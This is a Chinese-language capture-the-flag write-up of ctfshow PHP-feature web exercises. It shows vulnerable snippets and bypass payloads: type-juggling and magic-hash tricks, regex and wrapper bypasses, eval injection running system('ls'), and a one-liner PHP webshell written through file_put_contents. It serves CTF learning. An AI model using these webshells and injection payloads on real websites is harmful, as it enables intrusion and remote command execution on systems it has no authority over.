PHP特性 php特性一般是一些类型之间的转换产生的漏洞或函数本身的漏洞等。
以下均为ctfshow web入门篇php特性练习题:
参考自https://blog.csdn.net/weixin_45551083/article/details/110494387
例题1、intval数组绕过 1 2 3 4 5 6 7 $num = $_GET ['num' ];if (preg_match ("/[0-9]/" , $num )){ die ("no no no!" ); } if (intval ($num )){ echo $flag ; }
需要input != 0-9,且intval(input) == true
方法 :数组绕过。
当input是数组(object)时,intval(input)会产生错误并返回1,同时pre_match(input)也会返回0。
例题2、intval进制绕过 1 2 3 4 5 6 7 8 9 $num = $_GET ['num' ];if ($num ==="4476" ){ die ("no no no!" ); } if (intval ($num ,0 )===4476 ){ echo $flag ; }else { echo intval ($num ,0 ); }
需要num=4476且num不等于字符”4476”。
这里考查invtal函数:intval( mixed $var[, int $base = 10] ) : int
1 2 3 4 5 6 7 8 9 var 要转换成 integer 的数量值 base 转化所使用的进制 Note: 如果 base 是 0 ,通过检测 var 的格式来决定使用的进制: ◦ 如果字符串包括了 "0x" (或 "0X" ) 的前缀,使用 16 进制 (hex);否则, ◦ 如果字符串以 "0" 开始,使用 8 进制(octal);否则, ◦ 将使用 10 进制 (decimal)。
方法一 :进制转换。
通过输入num=0x117c(十六进制),会转换为4476(10进制),并且可以绕过字符“4476”。
方法二 :科学计数法
num=4476e10,intval转换完也是4476。
方法三 :浮点数
num=4476.1,intval转换完也是4476。
方法四 :如果禁用了.并且不能包含[a-z],可以使用+和八进制绕过
num=+010574,因为前边有0会被识别为八进制,转成十进制就是4476。
例题3、is_numeric绕过 1 2 3 4 5 6 7 8 9 10 11 12 13 $a =@$_POST ['a' ];$key =@preg_match ('/[a-zA-Z]{6}/' ,$a );$b =@$_REQUEST ['b' ];if ($a >999999 and $key ){ echo $flag1 ; } if (is_numeric ($b )){ exit (); } if ($b >1234 ){ echo $flag2 ; }
两段flag,第一段需要a包含6个字母且大于999999,由于字母转成数字会变成0,因此构造:
1 2 3 a=1000000aaaaaa&b=2000a //或 a=10e7aaaaaa&b[]=2000
转换完a = 1000000,b = 2000,且b因为包含a不会被判断为数字(数组也不会被判断为数字)。
例题4、php_im换行绕过 1 2 3 4 5 6 7 8 9 $a =$_GET ['cmd' ];if (preg_match ('/^php$/im' , $a )){ if (preg_match ('/^php$/i' , $a )){ echo 'hacker' ; } else { echo $flag ; } }
正则表达式/^php$/i
^
: 匹配字符串的开始。
php
: 具体的字符串。
$
: 匹配字符串的结束。
i
: 不区分大小写。
m
: 表示判断多行,如果有一行含有具体字符串则返回true。
因此,绕过条件是使用%0a(换行符),在第二行写php,这样第一重判断为true,第二重判断为false
例题5、highlight_file 1 2 3 4 5 6 7 if (isset ($_GET ['u' ])){ if ($_GET ['u' ]=='flag.php' ){ die ("no no no" ); }else { highlight_file ($_GET ['u' ]); } }
highlight_file会将参数的文件源码高亮显示出来,因此传入?u=./flag.php绕过并显示flag.php源码
例题6、md5绕过 经典的一类题,md5绕过:
1 2 3 4 if (isset ($_POST ['a' ]) and isset ($_POST ['b' ])) {if ($_POST ['a' ] != $_POST ['b' ])if (md5 ($_POST ['a' ]) === md5 ($_POST ['b' ]))echo $flag ;
方法一 :数组绕过(php8无法绕过)
在 PHP5 和 PHP7 中,当两个 md5 进行比较时,若参数是不同的数组,那么 ==
和 ===
比较的结果均为 True
方法二 : “oe” 绕过
因为处理hash字符串时,PHP会将每一个以 0E开头的哈希值解释为0,那么只要传入的不同字符串经过哈希以后是以 0E开头的,那么PHP会认为它们相同。
基本的原理是这样的,但更严谨的字符串格式是,0e
开头,同时后面都是数字,不能包含其他字符的字符串,md5 值才会相等(==
的结果为 True,但 ===
的结果为 False)。
常见的 md5 值是 0e
开头且后面均为数字的字符串:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 s878926199a 0e545993274517709034328855841020 s155964671a 0e342768416822451524974117254469 s214587387a 0e848240448830537924465865611904 s214587387a 0e848240448830537924465865611904 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s1885207154a 0e509367213418206700842008763514 s1502113478a 0e861580163291561247404381396064 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s155964671a 0e342768416822451524974117254469 s1184209335a 0e072485820392773389523109082030 s1665632922a 0e731198061491163073197128363787 s1502113478a 0e861580163291561247404381396064 s1836677006a 0e481036490867661113260034900752 s1091221200a 0e940624217856561557816327384675 s155964671a 0e342768416822451524974117254469 s1502113478a 0e861580163291561247404381396064 s155964671a 0e342768416822451524974117254469 s1665632922a 0e731198061491163073197128363787 s155964671a 0e342768416822451524974117254469 s1091221200a 0e940624217856561557816327384675 s1836677006a 0e481036490867661113260034900752 s1885207154a 0e509367213418206700842008763514 s532378020a 0e220463095855511507588041205815 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s214587387a 0e848240448830537924465865611904 s1502113478a 0e861580163291561247404381396064 s1091221200a 0e940624217856561557816327384675 s1665632922a 0e731198061491163073197128363787 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s1665632922a 0e731198061491163073197128363787 s878926199a 0e545993274517709034328855841020 240610708 0e462097431906509019562988736854 314282422 0e990995504821699494520356953734 571579406 0e972379832854295224118025748221 903251147 0e174510503823932942361353209384 1110242161 0e435874558488625891324861198103 1320830526 0e912095958985483346995414060832 1586264293 0e622743671155995737639662718498 2302756269 0e250566888497473798724426794462 2427435592 0e067696952328669732475498472343 2653531602 0e877487522341544758028810610885 3293867441 0e471001201303602543921144570260 3295421201 0e703870333002232681239618856220 3465814713 0e258631645650999664521705537122 3524854780 0e507419062489887827087815735195 3908336290 0e807624498959190415881248245271 4011627063 0e485805687034439905938362701775 4775635065 0e998212089946640967599450361168 4790555361 0e643442214660994430134492464512 5432453531 0e512318699085881630861890526097 5579679820 0e877622011730221803461740184915 5585393579 0e664357355382305805992765337023 6376552501 0e165886706997482187870215578015 7124129977 0e500007361044747804682122060876 7197546197 0e915188576072469101457315675502 7656486157 0e451569119711843337267091732412 QLTHNDT 0e405967825401955372549139051580 QNKCDZO 0e830400451993494058024219903391 EEIZDOI 0e782601363539291779881938479162 TUFEPMC 0e839407194569345277863905212547 UTIPEZQ 0e382098788231234954670291303879 UYXFLOI 0e552539585246568817348686838809 IHKFRNS 0e256160682445802696926137988570 PJNPDWY 0e291529052894702774557631701704 ABJIHVY 0e755264355178451322893275696586 DQWRASX 0e742373665639232907775599582643 DYAXWCA 0e424759758842488633464374063001 GEGHBXL 0e248776895502908863709684713578 GGHMVOE 0e362766013028313274586933780773 GZECLQZ 0e537612333747236407713628225676 NWWKITQ 0e763082070976038347657360817689 NOOPCJF 0e818888003657176127862245791911 MAUXXQC 0e478478466848439040434801845361 MMHUWUV 0e701732711630150438129209816536
方法三 :md5 碰撞
利用 fastcoll 进行 md5 碰撞,生成两个字面值不同但 md5 相同的文件。 新建一个空的 txt 文档,然后拖到 exe 上,自动生成两个文件,得到两个文件,通过代码读取即可。
1 2 3 4 5 6 7 8 9 <?php $a = file_get_contents ('D:tmp\a_msg1.txt' );$b = file_get_contents ('D:tmp\a_msg2.txt' );print_r ($a . "<br>" );print_r ($b . "<br>" );print_r (var_dump ($a === $b ) . "<br>" ); print_r (var_dump (md5 ($a ) === md5 ($b )) . "<br>" );
例题7、in_array弱类型比较绕过 1 2 3 4 5 6 7 8 9 $allow = array (); for ($i =36 ; $i < 0x36d ; $i ++) { array_push ($allow , rand (1 ,$i )); } if (isset ($_GET ['n' ]) && in_array ($_GET ['n' ], $allow )){ file_put_contents ($_GET ['n' ], $_POST ['content' ]); }
in_array是弱类型比较,所以可以用数字+”.php”的方式绕过判断,并写入一句话木马。
因此,构造
1 2 ?n=1 .php content=<?php eval ($_POST [ant]);?>
之后通过蚂剑连接http://c78fad34-9788-4bc3-b90a-655bbfa96551.challenge.ctf.show/1.php,连接密码就是post里的ant,脸上查看flag.php获取flag。
例题8、eval执行类 1 2 3 4 5 6 7 8 9 10 11 12 13 $ctfshow = new ctfshow ();$v1 =$_GET ['v1' ];$v2 =$_GET ['v2' ];$v3 =$_GET ['v3' ];$v0 =is_numeric ($v1 ) and is_numeric ($v2 ) and is_numeric ($v3 );if ($v0 ){ if (!preg_match ("/\;/" , $v2 )){ if (preg_match ("/\;/" , $v3 )){ eval ("$v2 ('ctfshow')$v3 " ); } } }
php语言特性:
1 2 3 4 5 $a =true and false and false ;var_dump ($a ); 返回true $a =true && false && false ;var_dump ($a ); 返回false
这题用的and,因此只需要保证v1是数字即可。
方法一 :
另外,提示了flag在class ctfshow里,因此只要构造该类并echo即可。
1 ReflectionClass 是 PHP 中用于反射类的内置类,它允许获取关于类的信息,比如类的方法、属性等,'ctfshow' 是传递给 ReflectionClass 构造函数的类名,这段代码的实际作用是创建一个 ReflectionClass 对象,用来反射名为 'ctfshow' 的类,并将其输出(echo )到页面上。
因此,构造:
1 ?v1=1 &v2=echo %20 new %20 ReflectionClass&v3=;
方法二 :
还可以使用命令执行,%23 也就是 # 将后面的内容进行注释掉
1 2 ?v1=1 &v2=eval ($_POST [1 ])?> %23 &v3=; 1 =system ('ls' );
其实不注释也是可以的,这里也没有注释成功,因为我们已经使用 ?> 将前面的 php 代码闭合了,后面的 (‘ctfshow’) 已经在 php 标签外了,只会被当做纯文本直接输出。
也可以直接使用反引号进行命令执行:
1 ?v1=1 &v2=echo `ls`?> &v3=;
例题9、file_put_contents 1 2 3 4 5 6 7 8 9 10 $v1 = $_POST ['v1' ];$v2 = $_GET ['v2' ];$v3 = $_GET ['v3' ];$v4 = is_numeric ($v2 ) and is_numeric ($v3 );if ($v4 ){ $s = substr ($v2 ,2 ); $str = call_user_func ($v1 ,$s ); echo $str ; file_put_contents ($v3 ,$str ); }
审计代码,首先需要v2是数字,用$s截取v2从第三个字符开始的内容,call_user_func是内置函数,意为调用v1方法,参数是$s。
另外,file_put_contents() 属于文件包含函数可以使用伪协议。
因此,思路是v2里写入payload:cat f* 的base64的十六进制串串,给v1复制hex2bin,使用hex2bin把v2转换成base64字符串 ,并使用base64伪协议写入v3文件中,就会在v3里写入cat f*,访问v3即可查看flag。
1 2 ?v2=005044383959474e6864434171594473 &v3=php: v1=hex2bin
这里难点在于v2的构造,因为必须要求php代码转换成base64后不能包含其他字符如d什么的,这里包含e是可以的,会被当做科学计数法,is_numeric仍然会返回true。00是绕过substr补充的垃圾数据。
1 5044383959474e6864434171594473
例题10、 $$使用 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 $error ='你还想要flag嘛?' ;$suces ='既然你想要那给你吧!' ;foreach ($_GET as $key => $value ){ if ($key ==='error' ){ die ("what are you doing?!" ); } $$key =$$value ; }foreach ($_POST as $key => $value ){ if ($value ==='flag' ){ die ("what are you doing?!" ); } $$key =$$value ; } if (!($_POST ['flag' ]==$flag )){ die ($error ); } echo "your are good" .$flag ."\n" ;die ($suces );
这题有点像反序列化,需要构造链子。
代码审计,遍历get中的map参数,如果$key===’error’就die,同样遍历post参数,如果$value===’flag’就die。这里die会结束,但是也会打印内容,因此可以看作echo。
思路,利用 $$(可变变量)
通过可变变量的使用,使 $error=$suces=$flag,则无论执行第二个 die() 还是第三个 die(),都可以获取 flag
构造:
1 2 3 GET suces=flag POST error=suces
同样,可以有其他类似的构造:
1 2 flag 为空,绕过 if (!$_POST ['flag' ]==$flag ) 判断 GET suces=flag&flag=
例题11、ereg绕过 1 2 3 4 5 6 7 8 if (ereg ("^[a-zA-Z]+$" , $_GET ['c' ])===FALSE ) { die ('error' ); } if (intval (strrev ($_GET ['c' ]))==0x36d ){ echo $flag ; }
ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字 母的字符是大小写敏感的。 ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配。
ereg() 可被%00截断
intval() 可被字母截断
因此,思路用a%00绕过第一个if,strrev是逆序,因此输入0x36d的十进制877
构造:
例题12、eval内置类 1 2 3 4 5 6 $v1 = $_GET ['v1' ];$v2 = $_GET ['v2' ];if (preg_match ('/[a-zA-Z]+/' , $v1 ) && preg_match ('/[a-zA-Z]+/' , $v2 )){ eval ("echo new $v1 ($v2 ());" ); }
利用点:魔术方法 __toString() 在对象被当作字符串处理时自动调用。很多 PHP 内置类(如 Exception、CachingIterator 和 ReflectionClass)都实现了这个方法。因此,通过使用这些类,可以将代码注入到 eval 中并输出结果。
构造:
1 2 3 4 ?v1=Exception &v2=system ('ls' ) ?v1=CachingIterator &v2=system ('ls' ) ?v1=ReflectionClass&v2=system ('ls' )
上述 payload 使用的都是 php 的内置类,我们还可以使用匿名类结合魔术方法来打:
1 ?v1=class { public function __construct ( ) {system ('ls' );}};&v2=a
new class{ public function __construct(){system(‘ls);}} 创建一个匿名类,并执行其构造函数,运行 system(‘tac f*’);a() 是一个无效的函数调用,但由于构造函数已经执行,系统命令也已经执行,函数调用的失败并不会影响系统命令的执行结果。
例题13、eval内置类2 1 2 3 4 5 6 7 8 9 10 11 $v1 = $_GET ['v1' ];$v2 = $_GET ['v2' ];if (preg_match ('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/' , $v1 )){die ("error v1" );} if (preg_match ('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/' , $v2 )){die ("error v2" );} eval ("echo new $v1 ($v2 ());" );
过滤了很多字符,且有括号()和`,基本上没法使用system(),echo等命令执行函数。
使用FilesystemIterator获取指定目录下的所有文件
知识点:
DirectoryInterator:遍历目录的类 FilesystemIterator:遍历文件的类
构造:
1 2 ?v1=FilesystemIterator &v2=getcwd
获取到flag.txt后直接访问flag.txt即可。
例题14、php全局GLOBALS 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 include ("flag.php" );function getFlag (&$v1 ,&$v2 ) { eval ("$$v1 = &$$v2 ;" ); var_dump ($$v1 ); } $v1 = $_GET ['v1' ];$v2 = $_GET ['v2' ];if (preg_match ('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\ [|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/' , $v1 )){ die ("error v1" ); } if (preg_match ('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/' , $v2 )){ die ("error v2" ); } if (preg_match ('/ctfshow/' , $v1 )){ getFlag ($v1 ,$v2 ); }
$v2 的值引用赋给 $v1 对应的变量,即 $ctfshow,之后打印变量 $$v1($ctfshow) 的信息。原本思路是想将 $v2 赋成 flag,就得到 $flag,再将 $flag 赋给 $ctfshow,然后输出 $ctfshow 实际就是输出 $flag 的内容,构造 payload:
但是返回 NULL,因为 $flag 在自定义函数 getFlag 函数中没有定义,$flag 是属于 flag.php 中的变量,对于 getFlag 来说是外部变量,不能直接使用。
因此这里使用超全局变量 $GLOBALS,$GLOBALS 是PHP的一个超级全局变量组,包含了全部变量的全局组合数组,变量的名字就是数组的键。构造payload:
例题15、伪协议绕过is_file 1 2 3 4 5 6 7 8 9 10 11 12 13 function filter ($file ) { if (preg_match ('/\.\.\/|http|https|data|input|rot13|base64|string/i' ,$file )){ die ("hacker!" ); }else { return $file ; } } $file =$_GET ['file' ];if (! is_file ($file )){ highlight_file (filter ($file )); }else { echo "hacker!" ; }
要求传入的file不能是文件,即if_file返回false。
可以使用php伪协议绕过,is_file函数在使用php的伪协议时候会返回false ,除了file://协议以外。
伪协议不影响file_get_contents,和highlight_file。
因此构造:
注意: 这里不需要base64读的原因是,highlight_file会直接把源代码显示出来,而需要base64读的是include函数,include函数会执行源代码而不是把源代码显示出来,使用base64可以防止源代码执行。
例题16、compress伪协议 1 2 3 4 5 6 7 8 9 10 11 12 13 function filter ($file ) { if (preg_match ('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i' ,$file )){ die ("hacker!" ); }else { return $file ; } } $file =$_GET ['file' ];if (! is_file ($file )){ highlight_file (filter ($file )); }else { echo "hacker!" ; }
在上一题的前提下过滤了filter,伪协议不行了,但可以用封装协议zlib(php4.0.4-php4.2.3)
方法一 :
compress.zlib类似gzopen()
另外,
方法二 :
目录溢出导致is_file认为这不是一个文件。
1 ?file=/proc/self /root/proc/self /root/proc/self /root/proc/self /root/proc/self /root/proc/self /root/proc/self /root/proc/self /root/proc/self /root/proc/self /root/proc/self /root/proc/self /root/proc/self /root/proc/self /root/proc/self /root/proc/self /root/proc/self /root/proc/self /root/proc/self /root/proc/self /root/proc/self /root/proc/self /root/var /www/html/flag.php
/proc/self
:不同的进程访问该目录时获得的信息是不同的,内容等价于/proc/本进程pid/。/proc/self/root/
是指向/
的符号链接,就是根目录,这里实际访问的就是/proc/self/root/var/www/html/flag.php
目录,不过构造很长的溢出绕过isfile检测。
例题17、is_numeric绕过2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 function filter ($num ) { $num =str_replace ("0x" ,"1" ,$num ); $num =str_replace ("0" ,"1" ,$num ); $num =str_replace ("." ,"1" ,$num ); $num =str_replace ("e" ,"1" ,$num ); $num =str_replace ("+" ,"1" ,$num ); return $num ; } $num =$_GET ['num' ];if (is_numeric ($num ) and $num !=='36' and trim ($num )!=='36' and filter ($num )=='36' ){ if ($num =='36' ){ echo $flag ; }else { echo "hacker!!" ; } }else { echo "hacker!!!" ; }
这里if中的and连接符需要与例题8区分过来。
在php中,如果代码如下,只需要第一个为true即可打印111。
1 2 3 4 5 $v0 =is_numeric ($v1 ) and is_numeric ($v2 ) and is_numeric ($v3 );if ($v0 ){ echo '111' ; }
但是,如果代码如下,需要所有均为true才能打印111。
1 2 3 4 if ($v0 =is_numeric ($v1 ) and is_numeric ($v2 ) and is_numeric ($v3 )){ echo '111' ; }
代码审计,is_numeric可以在数字前面加空格绕过,同时加上空格可以绕过$num!='36'
。
trim是移除字符串两侧的空白字符或其他预定义字符,可以看到空格等字符是会被去掉的,那么可以用%0c
。
trim移除的字符:
“ “ 普通空格符
“\t” 制表符
“\n” 换行符
“\r” 回车符
“\0” 空字节符
“\x0B” 垂直制表符
使用%0c
也可以绕过filter。
接下来再看第二个if判断,这是看起来很矛盾的一个判断。$num!=='36
‘和$num=='36'
来具体看一下!==
的定义,只要类型不同就不全等。
并且,!==
时不进行类型转换,但是==
会进行类型转换。
因此,加上%0c
换页符,在==
进行类型转换,所有%0c36
会被转换为数值36,结果true;在!==
不进行类型转换,所以字符串和数值比较,类型不同,结果true
所以,构造:
例题18、php变量名中.绕过 1 2 3 4 5 6 7 8 9 $c =$_POST ['fun' ];if (isset ($_POST ['CTF_SHOW' ])&&isset ($_POST ['CTF_SHOW.COM' ])&&!isset ($_GET ['fl0g' ])){ if (!preg_match ("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/" , $c )&&$c <=18 ){ eval ("$c " .";" ); if ($fl0g ==="flag_give_me" ){ echo $flag ; } } }
要求不能传参fl0g,因此下边if失效,只能使用上边的eval("echo $flag"
来获取flag。
因此构造:
1 CTF_SHOW=&CTF_SHOW.COM=&fun=echo $flag
发现失败,因为在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、. 、[则会被转化为_,所以构造不出CTF_SHOW.COM,因为含有.字符,但php中有个特性就是对不符合规则的变量只转换一次,因此如果传入[,它被转换成—之后,后边的字符就会被保留下来不会被替换。
重新构造:
1 CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag
例题19、php变量名中.绕过2 1 2 3 4 5 6 7 8 9 10 11 $a =$_SERVER ['argv' ];$c =$_POST ['fun' ];if (isset ($_POST ['CTF_SHOW' ])&&isset ($_POST ['CTF_SHOW.COM' ])&&!isset ($_GET ['fl0g' ])){ if (!preg_match ("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i" , $c )&&$c <=16 ){ eval ("$c " .";" ); if ($fl0g ==="flag_give_me" ){ echo $flag ; } } } ?>
在上一题基础上,过滤了echo,GLOBALS,flag等,system不行是因为禁用了双引号和单引号,但是phpinfo()不知道什么原因也失效(可能是后台php.ini配置里禁用的,disable_functions = phpinfo
)。
输出内容函数大多被限制了,但是highlight_file
肯定没有被限制,当前页面就用到了,所以用highlight_file
高亮显示。限制了长度,那么可以考虑get再传参。
因此构造:
1 2 ?1 =flag.php CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file ($_GET [1 ])
方法二:
利用$_SERVER[‘argv’]:传递给该脚本的参数的数组。当脚本以命令行方式运行时,argv 变量传递给程序 C 语言样式的命令行参数。当通过 GET 方式调用时,该变量包含query string。
意思就是通过$_SERVER[‘argv’]将$a变成数组,再利用数组的性质将fl0g=flag_give_me传入,同时还绕过第一个if中的!isset($GET[‘fl0g’])),用+来进行分隔,使得数组中有多个数值。另外parse_str()函数将查询字符串解析到变量中。
执行eval函数也就是执行$c即是parse_str($a[1]),使得fl0g=flag_give_me,从而进入第三个if语句。 因此构造:
1 2 a=1 +fl0g=flag_give_me CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str ($a [1 ])
方法三:
还可以用assert()执行php语句,实现变量覆盖。
1 2 ?$fl0g =flag_give_me CTF_SHOW=&CTF[SHOW.COM=&fun=assert ($a [0 ])
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 $ctf_show = md5 ($flag );$url = $_SERVER ['QUERY_STRING' ];function waf ($url ) { if (preg_match ('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//' , $url )){ return true ; }else { return false ; } } if (waf ($url )){ die ("嗯哼?" ); }else { extract ($_GET ); } if ($ctf_show ==='ilove36d' ){ echo $flag ; }
extract函数会从get里获取数据并重新对变量赋值,因此绕过waf后即可对$ctf_show重新赋值,而不是最开始的md5值了。
因为禁用了_和.,因此使用空格,让它转成 _
构造:
例题21、gettext扩展 1 2 3 4 5 6 7 8 9 10 11 12 $f1 = $_GET ['f1' ];$f2 = $_GET ['f2' ];if (check ($f1 )){ var_dump (call_user_func (call_user_func ($f1 ,$f2 ))); }else { echo "嗯哼?" ; } function check ($str ) { return !preg_match ('/[0-9]|[a-z]/i' , $str ); }
此题用到了gettext扩展,而_()等效于gettext(),源代码中所有需要多语言支持的(需要翻译的)字符串都修改为使用gettext函数包装起来。__()==(gettext) 是gettext()的拓展函数,开启text扩展get_defined_vars — 返回由所有已定义变量所组成的数组。
而get_defined_vars ( void ) : array 函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。当正常的gettext(“get_defined_vars”);时会返还get_defined_vars
因此构造:
1 2 3 ?f1=_&f2=get_defined_vars var_dump (call_user_func (call_user_func (_,'get_defined_vars' )));var_dump (call_user_func (get_defined_vars));
即可打印出所有数组信息。
例题22、stripos绕过 1 2 3 4 5 6 7 8 9 10 11 12 13 14 if (isset ($_POST ['f' ])){ $f = $_POST ['f' ]; if (preg_match ('/.+?ctfshow/is' , $f )){ die ('bye!' ); } if (stripos ($f , 'ctfshow' ) === FALSE ){ die ('bye!!' ); } echo $flag ; }
.表示任意单个字符,+表示必须匹配1次或多次,+?表示 重复1次或更多次,但尽可能少重复,所以在ctfshow前面必须有至少一个字符,才会返回true,
方法一 :所以才有了直接
方法二 :
stripos在给定变量中查找字符串,找到返回第一出现位置,找不到返回false。
可以使用数组绕过,stripos应用于数组的时候会返回null,null!==false。
例题23、preg_match回溯绕过 1 2 3 4 5 6 7 8 9 10 11 12 13 if (isset ($_POST ['f' ])){ $f = (String)$_POST ['f' ]; if (preg_match ('/.+?ctfshow/is' , $f )){ die ('bye!' ); } if (stripos ($f ,'36Dctfshow' ) === FALSE ){ die ('bye!!' ); } echo $flag ; }
在ctfshow前边加了36D,因此直接构造的方法f=ctfshow
无效了,并且加了String,String之后得到的是空字符串,stripos处理空字符串会返回false。
考虑回溯绕过,当回溯的次数绕过了25万是preg_match返回的非1和0,而是false,所以可以绕过preg_match函数。
需要使用脚本发送:
1 2 3 4 5 6 7 8 import requests url = 'http://22149de0-75f6-4963-b4aa-e08af1888433.challenge.ctf.show/' data = { 'f' : 'very' * 250000 + '36Dctfshow' } r = requests.post (url=url, data=data).text print (r)
例题24、运算符优先级 1 2 3 4 5 6 7 8 9 10 11 12 13 if (isset ($_GET ['username' ]) && isset ($_GET ['password' ]) && isset ($_GET ['code' ])){ $username = (String)$_GET ['username' ]; $password = (String)$_GET ['password' ]; $code = (String)$_GET ['code' ]; if ($code === mt_rand (1 ,0x36D ) && $password === $flag || $username ==="admin" ){ if ($code == 'admin' ){ echo $flag ; } } }
因为&&优先级高于||,因此a && b || c 其实是(a && b) || c,因此只需满足$username ===”admin”即可进入if。
构造:
1 ?code=admin&$password =a&username=admin